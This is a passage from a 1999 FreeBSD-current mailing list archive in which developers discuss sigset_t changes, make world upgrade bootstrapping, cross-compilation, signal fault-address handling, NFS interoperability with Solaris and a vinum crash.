it is generally always better to use sysinstall since that method is
almost always guaranteed to work. Many of us don't have console access to
the machines we maintain, and although this is not an "officially
supported" method of upgrading preventing chicken and egg problems in the
upgrade from source process is a matter of good design, as well as a
matter of great importance to the "fringe cases" that don't involve
"simply" doing an upgrade.  

Doug
-- 
"Stop it, I'm gettin' misty." 

    - Mel Gibson as Porter, "Payback"



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 14: 9:20 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4])
	by hub.freebsd.org (Postfix) with ESMTP id F04B915143
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 14:08:51 -0700 (PDT)
	(envelope-from freebsd@gndrsh.dnsmgr.net)
Received: (from freebsd@localhost)
	by gndrsh.dnsmgr.net (8.9.3/8.9.3) id OAA24331;
	Thu, 30 Sep 1999 14:08:29 -0700 (PDT)
	(envelope-from freebsd)
From: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Message-Id: <199909302108.OAA24331@gndrsh.dnsmgr.net>
Subject: Re: new sigset_t and upgrading: a proposal
In-Reply-To: <Pine.BSF.4.10.9910010621210.16934-100000@alphplex.bde.org> from Bruce Evans at "Oct 1, 1999 06:22:57 am"
To: bde@zeta.org.au (Bruce Evans)
Date: Thu, 30 Sep 1999 14:08:28 -0700 (PDT)
Cc: marcel@scc.nl (Marcel Moolenaar), current@FreeBSD.ORG
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> > Why are the tools being built using new syscalls?  What causes this?
> 
> Mainly historical bugs.  Includes are installed too early and they only
> match the new syscalls.  Tools are built using the new includes, so they
> need new libraries to be consistent.  Therefore the new libraries are
> built before the new tools.  These bugs were implemented in FreeBSD-1 by
> someone named rgrimes :-).

I'll eat the crow, yes, I did implement that.  It was the first step
at even being able to ``make world''.  Had to start some place.  And
technically the bug dates back to the patchkit, infact probably  a
1.x version of the 386BSD PatchKit.

Now, the addition of obj/tmp and the TOOLS thing was suppose to fix that
by using the current headers/libraries to build a set of tools that
didn't go smashing around on the system.  If someone copied the earlier
work that had a different purpose, and these nasty bugs, well... they
would certainly still be there!

-- 
Rod Grimes - KD7CAX - (RWG25)                    rgrimes@gndrsh.dnsmgr.net


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 14:25: 4 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21])
	by hub.freebsd.org (Postfix) with ESMTP id 562BB14CEB
	for <current@freebsd.org>; Thu, 30 Sep 1999 14:24:58 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.12 #1)
	id 11WniY-00097r-00; Thu, 30 Sep 1999 21:26:23 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id XAA10870;
	Thu, 30 Sep 1999 23:24:50 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F3D522.2A4C79C2@scc.nl>
Date: Thu, 30 Sep 1999 23:24:50 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Cc: Peter Wemm <peter@netplex.com.au>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <19990930003214.58194@hydrogen.fircrest.net> <19990930195614.2834A1CA7@overcee.netplex.com.au> <19990930135119.29632@hydrogen.fircrest.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

John-Mark Gurney wrote:

> the reason I was on Marcel's back was because of his statement that he
> WOULD NOT do ANYTHING to fix the problem, and that as far as he was
> considered, that's life and deal w/ it...  if he had said, oh, I'll look
> for a solution to the problem, I wouldn't of been so hard on him...

I said that for the -current case. I also said that an upgrade from
-stable to -current will be fixed if it was broken.

> so, is Marcel going to do the work for this? or will this have to be
> passed to someone like you or myself?

I'm not going to claim this. Everyone with a constructive opinions can
join the club. It's so much easier for everyone if it's done by more
than 1 person. Those that don't feel confortable solving this problem
are encouraged to test solutions.

As for me, I'm trying to define the problem as detailed and consise as
possible. I already have some specific thoughts and ideas. I'm thinking
large here: real cross-compilation capabilities and such (it may be
handy for FreeBSD/IA64)...

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 14:28:46 1999
Delivered-To: freebsd-current@freebsd.org
Received: from cs.rice.edu (cs.rice.edu [128.42.1.30])
	by hub.freebsd.org (Postfix) with ESMTP id 37B7714C98
	for <current@freebsd.org>; Thu, 30 Sep 1999 14:28:43 -0700 (PDT)
	(envelope-from alc@cs.rice.edu)
Received: from nonpc.cs.rice.edu (nonpc.cs.rice.edu [128.42.1.219])
	by cs.rice.edu (8.9.0/8.9.0) with ESMTP id QAA11129;
	Thu, 30 Sep 1999 16:28:35 -0500 (CDT)
Received: (from alc@localhost) by nonpc.cs.rice.edu (8.9.3/8.7.3) id QAA25237; Thu, 30 Sep 1999 16:28:34 -0500 (CDT)
Date: Thu, 30 Sep 1999 16:28:34 -0500
From: Alan Cox <alc@cs.rice.edu>
To: John Polstra <jdp@polstra.com>
Cc: Alan Cox <alc@cs.rice.edu>, current@freebsd.org
Subject: Re: Now that sigcontext is gone ...
Message-ID: <19990930162834.C20978@nonpc.cs.rice.edu>
References: <19990930151137.H19202@cs.rice.edu> <XFMail.990930134022.jdp@polstra.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.1i
In-Reply-To: <XFMail.990930134022.jdp@polstra.com>; from John Polstra on Thu, Sep 30, 1999 at 01:40:22PM -0700
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Thu, Sep 30, 1999 at 01:40:22PM -0700, John Polstra wrote:
> 
> Yep, I have fixed that in the PM3 release (which is the one that's
> actively maintained these days), but probably not in the SRC release
> on which our port is based.  I have ports for PM3 in the wings,
> but I'm waiting for some necessary changes to <bsd.port.mk> to be
> committed.
> 

My recollection is that sc_err got added to sigcontext when VM86
support was added.  I'm not sure that sc_err was ever documented
to contain the faulting address either.  It only gets the faulting
address by historical accident/hack, specifically, from trap_pfault:

        }

        /* kludge to pass faulting virtual address to sendsig */
        frame->tf_err = eva;

        return((rv == KERN_PROTECTION_FAILURE) ? SIGBUS : SIGSEGV);
}

Up until this point, frame->tf_err tells me details about the page
fault, such as whether it was a read or a write access.  I'd really
like that information to make it out to user-level in addition
to the faulting address.  In other words, we should find another
way to pass the faulting address to sendsig than by overwriting
frame->tf_err.  The siginfo si_addr field is the proper place
for the faulting address to wind up anyway.

Alan

P.S.  This also reminds me that FreeBSD is non-standard relative
to Linux and all of the major vender commercial Unices in that a disallowed
access, such as a write to a read-only region of memory, generates
a SIGBUS rather than a SIGSEGV.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 14:38:21 1999
Delivered-To: freebsd-current@freebsd.org
Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91])
	by hub.freebsd.org (Postfix) with ESMTP id 3D11D15A97
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 14:38:15 -0700 (PDT)
	(envelope-from nate@mt.sri.com)
Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100])
	by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id PAA08772;
	Thu, 30 Sep 1999 15:37:10 -0600 (MDT)
	(envelope-from nate@rocky.mt.sri.com)
Received: by mt.sri.com (SMI-8.6/SMI-SVR4)
	id PAA00310; Thu, 30 Sep 1999 15:37:08 -0600
Date: Thu, 30 Sep 1999 15:37:08 -0600
Message-Id: <199909302137.PAA00310@mt.sri.com>
From: Nate Williams <nate@mt.sri.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc: bde@zeta.org.au (Bruce Evans), marcel@scc.nl (Marcel Moolenaar),
	current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal
In-Reply-To: <199909302108.OAA24331@gndrsh.dnsmgr.net>
References: <Pine.BSF.4.10.9910010621210.16934-100000@alphplex.bde.org>
	<199909302108.OAA24331@gndrsh.dnsmgr.net>
X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid
Reply-To: nate@mt.sri.com (Nate Williams)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> > Mainly historical bugs.  Includes are installed too early and they only
> > match the new syscalls.  Tools are built using the new includes, so they
> > need new libraries to be consistent.  Therefore the new libraries are
> > built before the new tools.  These bugs were implemented in FreeBSD-1 by
> > someone named rgrimes :-).
> 
> I'll eat the crow, yes, I did implement that.  It was the first step
> at even being able to ``make world''.  Had to start some place.  And
> technically the bug dates back to the patchkit, infact probably  a
> 1.x version of the 386BSD PatchKit.

Naw, 386BSD was never able to 'build itself' from scratch.  That was a
FreeBSD/rgrimes addition, bugs and all. :) :) :)


Nate


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 14:43:22 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87])
	by hub.freebsd.org (Postfix) with ESMTP id 9C31A15690
	for <freebsd-current@FreeBSD.ORG>; Thu, 30 Sep 1999 14:43:18 -0700 (PDT)
	(envelope-from dcs@newsguy.com)
Received: from newsguy.com (p15-dn03kiryunisiki.gunma.ocn.ne.jp [210.232.224.144])
	by peach.ocn.ne.jp (8.9.1a/OCN) with ESMTP id GAA10230;
	Fri, 1 Oct 1999 06:43:14 +0900 (JST)
Message-ID: <37F3CE0C.F79F165C@newsguy.com>
Date: Fri, 01 Oct 1999 05:54:36 +0900
From: "Daniel C. Sobral" <dcs@newsguy.com>
X-Mailer: Mozilla 4.6 [en] (Win98; I)
X-Accept-Language: en,pt-BR,ja
MIME-Version: 1.0
To: Matthew Dillon <dillon@apollo.backplane.com>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: NFS mod for solaris committed
References: <199909302007.NAA13494@apollo.backplane.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Matthew Dillon wrote:
> 
>     Oh, I forgot to email current on this...
> 
>     I've #if 0'd out the NFSERR_BAD_COOKIE code that is partially responsible
>     for the solaris interoperability problems

I'd like to know if anyone has contacted Sun about this, which looks
like a bug in their code.

--
Daniel C. Sobral			(8-DCS)
dcs@newsguy.com
dcs@freebsd.org

	Rule 69: Do unto other's code as you'd have it do unto yours



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 14:43:44 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id C289E1570A
	for <current@freebsd.org>; Thu, 30 Sep 1999 14:43:42 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id OAA23844;
	Thu, 30 Sep 1999 14:43:41 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id OAA26474;
	Thu, 30 Sep 1999 14:43:41 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Message-ID: <XFMail.990930144341.jdp@polstra.com>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
In-Reply-To: <19990930162834.C20978@nonpc.cs.rice.edu>
Date: Thu, 30 Sep 1999 14:43:41 -0700 (PDT)
Organization: Polstra & Co., Inc.
From: John Polstra <jdp@polstra.com>
To: Alan Cox <alc@cs.rice.edu>
Subject: Re: Now that sigcontext is gone ...
Cc: current@freebsd.org
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Alan Cox wrote:

>         /* kludge to pass faulting virtual address to sendsig */
>         frame->tf_err = eva;
> 
>         return((rv == KERN_PROTECTION_FAILURE) ? SIGBUS : SIGSEGV);
> }
> 
> Up until this point, frame->tf_err tells me details about the page
> fault, such as whether it was a read or a write access.  I'd really
> like that information to make it out to user-level in addition
> to the faulting address.  In other words, we should find another
> way to pass the faulting address to sendsig than by overwriting
> frame->tf_err.

Sounds reasonable to me.

> P.S.  This also reminds me that FreeBSD is non-standard relative
> to Linux and all of the major vender commercial Unices in that a disallowed
> access, such as a write to a read-only region of memory, generates
> a SIGBUS rather than a SIGSEGV.

Yes, this even violates the 1996 POSIX spec.

John
---
  John Polstra                                               jdp@polstra.com
  John D. Polstra & Co., Inc.                        Seattle, Washington USA
  "No matter how cynical I get, I just can't keep up."        -- Nora Ephron



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 14:55:42 1999
Delivered-To: freebsd-current@freebsd.org
Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21])
	by hub.freebsd.org (Postfix) with ESMTP id EC1F914C24
	for <current@freebsd.org>; Thu, 30 Sep 1999 14:55:38 -0700 (PDT)
	(envelope-from marcel@scc.nl)
Received: from [212.238.132.94] (helo=scones.sup.scc.nl)
	by post.mail.nl.demon.net with esmtp (Exim 2.12 #1)
	id 11WoCE-0009h8-00; Thu, 30 Sep 1999 21:57:02 +0000
Received: from scc.nl (scones.sup.scc.nl [192.168.2.4])
	by scones.sup.scc.nl (8.9.3/8.9.3) with ESMTP id XAA11887;
	Thu, 30 Sep 1999 23:55:30 +0200 (CEST)
	(envelope-from marcel@scc.nl)
Message-ID: <37F3DC52.3B211424@scc.nl>
Date: Thu, 30 Sep 1999 23:55:30 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Organization: SCC vof
X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.5 i386)
X-Accept-Language: en
MIME-Version: 1.0
To: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc: current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal
References: <199909302100.OAA24301@gndrsh.dnsmgr.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

"Rodney W. Grimes" wrote:
> 
> > I don't think that's necessary. If I have, say, MIPS assembler code,
> > then I should be able to generate MIPS binaries on, say, Intel. MIPS
> > assembler code is clearly not compatible with Intel. This is also true
> > if I would make FreeBSD/Alpha on FreeBSD/i386. I'm speaking true
> > cross-compilation here :-)
> 
> Your confusing yourself by mixing cross tools building with target
> building.  You would never use the MIPS assembler source to build
> an i386 ``tool'' to build the i386 version of gcc that produces alpha
> binaires.

Exactly. That's why I don't want a -stable make world to build the tools
with -current sources to produce -current binaries. I want tools for
-stable that can handle the task. If the tools from the source-tree are
not appropriate, install newer versions from the ports collection.

> It is a two stage process, say that slowly to yourself about 5 times...

Spot on! Have make world first verify and install the proper tools
without using anything from the source tree that you are using for the
make world and after that make world with the toolset you have verified
and/or installed in stage 1.

> > > > The current build-tools target tries to solve that by creating a
> > > > compiler C' by using cross-compilation. The result violates rule 1:
> > > > Compiler C' is build for machine 2 and not for machine 1 and therefore
> > > > should not be used on machine 1. This is where the discussion is all
> > > > about.
> > >
> > > Then this is an error in the tools target, by design the tools are
> > > suppose to be capable of running on machine 1, and producing code for
> > > machine 2.
> >
> > But how do you know that you can build tools with sources for machine 2
> > to run on machine 1?
> 
> Because it is the FreeBSD source tree, and we control that aspect of it,
> if the above is a known.  If it can't be done the sources are non-portable.

I think we should assume non-portability if we really want to make
cross-compilation work.

> > You can't make i386 binaries with alpha assembler
> > sources, for example. To put it differently, isn't this why we need to
> > port software in the first place?
> 
> But I can compile the gas assembler which is a portable assembler on anything
> to produce anything.  The software is already ported.

In that case, we don't have to build gas as part of the make world. gas
is capable of handling the cross-compilations we need...

> > > Only later when you do the ``make all'' over the tree do
> > > you produce the compiler that runs on machine 2.  Yes, you may end
> > > up building gcc/egcs twice.  Just like you may end up building make
> > > twice.
> >
> > Yep. Unavoidable.
> >
> > > > So, as long as rule 2 is not violated, cross-compilation can be used to
> > > > to build a -current system on -stable and thus also to handle upgrades.
> > > > The problem is in the case where rule 2 is violated. What's needed is
> > > > the ability to "port" the proper tools to machine 1. Well, the first
> > > > thing that comes to mind is the ports collection...
> > >
> > > Why should ports have code that is any more portable than what is in
> > > the src tree?
> >
> > It's not that ports have code that is more portable, ports have patches
> > that are applied as part of the build to make it work on FreeBSD. Also,
> > ports generally still run configure and friends to avoid compatibility
> > problems. This have been staticized (sp?) in the source tree.
> 
> You keep going back to this stuff that won't work on FreeBSD.  Now I can't
> see how you get there, but /usr/src is pretty much a sure win to run on
> FreeBSD if it _is_ FreeBSD.

I'm not saying that it won't work, I'm just not making the assumption
that it works.

> > > You should just be able to build egcs from the current
> > > sources with the correct options and achive any results you could with
> > > a port.
> >
> > But you'll be using -stable headers and libraries (at least, that should
> > be case).
> 
> Exactly, thats what makes it the hosted cross compiler.  The only thing
> we use it for is building the target binaries.  Have you ever worked
> in cross platform development??

Not enough. I am a compiler writer, though.

> > This means that egcs, configured to build and run on -current
> > may be improperly configured to build and run on -stable.
> 
> Then de statisize the configuration.

If possible, yes. If the sources don't allow that, use ports.

> > You may be right about going mad if you try to handle the
> > interdependencies, though :-)
> >
> 
> I'm pretty sure that is the cause of the loss of a certain part of my
> life.... but since I can't remeber much about it I am not positive :-)

:-)

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 15:27: 5 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21])
	by hub.freebsd.org (Postfix) with ESMTP id 95DE814C90
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 15:26:55 -0700 (PDT)
	(envelope-from gdonl@tsc.tdk.com)
Received: from sunrise.gv.tsc.tdk.com (root@sunrise.gv.tsc.tdk.com [192.168.241.191])
	by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id PAA19533;
	Thu, 30 Sep 1999 15:24:02 -0700 (PDT)
	(envelope-from gdonl@tsc.tdk.com)
Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194])
	by sunrise.gv.tsc.tdk.com (8.8.5/8.8.5) with ESMTP id PAA26277;
	Thu, 30 Sep 1999 15:24:01 -0700 (PDT)
Received: (from gdonl@localhost)
	by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id PAA09543;
	Thu, 30 Sep 1999 15:24:00 -0700 (PDT)
From: Don Lewis <Don.Lewis@tsc.tdk.com>
Message-Id: <199909302224.PAA09543@salsa.gv.tsc.tdk.com>
Date: Thu, 30 Sep 1999 15:24:00 -0700
In-Reply-To: Marcel Moolenaar <marcel@scc.nl>
       "Re: HEADS UP: sigset_t changes committed" (Sep 30, 11:24pm)
X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95)
To: Marcel Moolenaar <marcel@scc.nl>,
	John-Mark Gurney <gurney_j@resnet.uoregon.edu>
Subject: Re: HEADS UP: sigset_t changes committed
Cc: Peter Wemm <peter@netplex.com.au>, current@FreeBSD.ORG
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sep 30, 11:24pm, Marcel Moolenaar wrote:
} Subject: Re: HEADS UP: sigset_t changes committed

} As for me, I'm trying to define the problem as detailed and consise as
} possible. I already have some specific thoughts and ideas. I'm thinking
} large here: real cross-compilation capabilities and such (it may be
} handy for FreeBSD/IA64)...

While proper cross-compilation would be really nice to have, it won't solve
the "make world" problem.  It would get you through "make buildworld", but
"make installworld" will overwrite the system binaries with new versions that
use the new signal syscalls that the currently running kernel doesn't support.
It would even be possible to cross-compile a new kernel, but it still has
to be installed and the system rebooted before installing userland.

In this particular case, the only thing cross-compilation would buy us
is the ability to build (but not install) 4.x binaries on a machine
running 3.x.  It sounds like some folks would be satisfied just having
that.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 15:48:18 1999
Delivered-To: freebsd-current@freebsd.org
Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38])
	by hub.freebsd.org (Postfix) with ESMTP id 0D8BA150B7
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 15:48:15 -0700 (PDT)
	(envelope-from obrien@NUXI.com)
Received: (from obrien@localhost)
	by relay.nuxi.com (8.9.3/8.9.3) id PAA35785;
	Thu, 30 Sep 1999 15:48:12 -0700 (PDT)
	(envelope-from obrien)
Date: Thu, 30 Sep 1999 15:48:12 -0700
From: "David O'Brien" <obrien@FreeBSD.ORG>
To: Peter Jeremy <jeremyp@gsmx07.alcatel.com.au>
Cc: current@FreeBSD.ORG
Subject: Re: EGCS, or EGCS?
Message-ID: <19990930154811.P31903@relay.nuxi.com>
Reply-To: obrien@FreeBSD.ORG
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre1i
X-Mailer: Mutt 1.0pre1i
X-Operating-System: FreeBSD 4.0-CURRENT
Organization: The NUXI BSD group
X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Keyid: 34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> look at gcc's behaviour.  This has left me somewhat confused.  I
> appear to have two complete copies of gcc - one in src/contrib/gcc and
> another in src/contrib/egcs/gcc.

WIP.  src/contrib/egcs is the current home.  It is moving to
src/contrib/{gcc,libio,libstdc++,etc.}.  After the move, it will be
upgraded to 2.95.1.  School year has started, advisor been very
demanding, and I've been AWOL for 2-3 weeks now.  :-(

-- 
-- David    (obrien@NUXI.com)


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 15:49: 2 1999
Delivered-To: freebsd-current@freebsd.org
Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38])
	by hub.freebsd.org (Postfix) with ESMTP id AA99A15B45
	for <current@FreeBSD.ORG>; Thu, 30 Sep 1999 15:48:56 -0700 (PDT)
	(envelope-from obrien@NUXI.com)
Received: (from obrien@localhost)
	by relay.nuxi.com (8.9.3/8.9.3) id PAA35824;
	Thu, 30 Sep 1999 15:48:34 -0700 (PDT)
	(envelope-from obrien)
Date: Thu, 30 Sep 1999 15:48:34 -0700
From: "David O'Brien" <obrien@FreeBSD.ORG>
To: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc: Marcel Moolenaar <marcel@scc.nl>, current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal
Message-ID: <19990930154834.R31903@relay.nuxi.com>
Reply-To: obrien@FreeBSD.ORG
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre1i
X-Mailer: Mutt 1.0pre1i
X-Operating-System: FreeBSD 4.0-CURRENT
Organization: The NUXI BSD group
X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Keyid: 34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Thu, Sep 30, 1999 at 06:25:56AM -0700, Rodney W. Grimes wrote:
> > Cons
> > ----
> > o  Upgrading from 3.3 and before to -current is only possible after
> >    an upgrade to post 3.3.
> 
> Not good.

We recommend that 2.2.x people upgrade to the latest 2.2-STABLE offering
before trying to jump to 3.x via `make {upgrade,world,aout-to-elf}.  So
we have precidence for this.  

-- 
-- David    (obrien@NUXI.com)


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 16: 5: 4 1999
Delivered-To: freebsd-current@freebsd.org
Received: from peak.mountin.net (peak.mountin.net [207.227.119.2])
	by hub.freebsd.org (Postfix) with ESMTP id E9D3E1503C
	for <freebsd-current@FreeBSD.ORG>; Thu, 30 Sep 1999 16:04:58 -0700 (PDT)
	(envelope-from jeff-ml@mountin.net)
Received: (from daemon@localhost)
	by peak.mountin.net (8.9.1/8.9.1) id SAA26768;
	Thu, 30 Sep 1999 18:04:47 -0500 (CDT)
	(envelope-from jeff-ml@mountin.net)
Received: from dial-120.tnt1.rac.cyberlynk.net(209.224.182.120) by peak.mountin.net via smap (V1.3)
	id sma026766; Thu Sep 30 18:04:29 1999
Message-Id: <3.0.3.32.19990930180014.02006eb0@207.227.119.2>
X-Sender: jeff-ml@207.227.119.2
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Thu, 30 Sep 1999 18:00:14 -0500
To: Greg Lehey <grog@lemis.com>
From: "Jeffrey J. Mountin" <jeff-ml@mountin.net>
Subject: Re: System crash on "vinum start"
Cc: freebsd-current@FreeBSD.ORG
In-Reply-To: <19990928151416.S94452@freebie.lemis.com>
References: <3.0.3.32.19990928003640.00b92620@207.227.119.2>
 <3.0.3.32.19990927153730.0204c420@207.227.119.2>
 <19990925104024.B54407@freebie.lemis.com>
 <199909271705.NAA43302@concours.pc.sas.com>
 <3.0.3.32.19990927153730.0204c420@207.227.119.2>
 <19990928084130.L46202@freebie.lemis.com>
 <3.0.3.32.19990928003640.00b92620@207.227.119.2>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

At 03:14 PM 9/28/99 +0930, Greg Lehey wrote:
>> And the preferred method is...
>> a) /dev/da0
>> b) /dev/da0s1
>> c) /dev/da0s1e
>> (-current and -stable I hope :)
>
>(b) or (c).  (a) isn't a slice.  Note that it won't take slice c,
>either.

Thanks for the clarification.  Was recalling a past dicussion on how Vinum
determined what belonged to it .

Not using "c" is just plain common sense.


>>> It's surprising.  Good software shouldn't panic.  But this input is
>>> valuable, because now I know where to look.
>>
>> Should have spoken up quite a while back.  Figured it was pilot error and
>> the panic was a self-inflicted gunshot wound.
>
>Read http://www.lemis.com/vinum/how-to-debug.html.  It's also in
>vinum(4).

Again? ;)

May try some old pilot errors and see if I can panic it.  Just need to
recall what I was doing, since it happened when (almost) trying to break
things.

Forgot to mention that software should not panic, but if you are doing
something wrong...

Goes back to recent mention of sanity checking.

>You don't want to use vinum read.  Just vinum start.  And I've found
>the bug (thanks, Brad).  I'll be committing a fix Real Soon Now.

So then if only the module is loaded and rc does nothing further then doing
a 'vinum read ...' is a Bad Thing.  Use 'start' myself, but just to clarify
for others.


>It's still in the pipeline.  I can't give any time frame.  There are
>some bugs I need to look at (http://www.lemis.com/vinum/bugs.html),
>and then I can start thinking about it.

Perhaps I should have been more specific, but from what I understand there
are some issues with the boot process (space limitations?) and possibly
requiring other changes of a more significant nature beyond that, which you
were waiting for to come about first.


Jeff Mountin - jeff@mountin.net
Systems/Network Administrator
FreeBSD - the power to serve
'86 Yamaha MaxiumX (not FBSD powered)



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Sep 30 16:11:18 1999
Delivered-To: freebsd-current@freebsd.org
Received: from uni-sb.de (uni-sb.de [134.96.252.33])
	by hub.freebsd.org (Postfix) with ESMTP id 9F7841503C
	for <freebsd-current@freebsd.org>; Thu, 30 Sep 1999 16:11:12 -0700 (PDT)
	(envelope-from schuerge@wjpserver.CS.Uni-SB.DE)
Received: from cs.uni-sb.de (cs.uni-sb.de [134.96.252.31])
	by uni-sb.de (8.9.3/1999070600) with ESMTP id BAA16961
	for <freebsd-current@freebsd.org>; Fri, 1 Oct 1999 01:11:10 +0200 (CEST)
Received: from wjpserver.cs.uni-sb.de (wjpserver.cs.uni-sb.de [134.96.247.42])
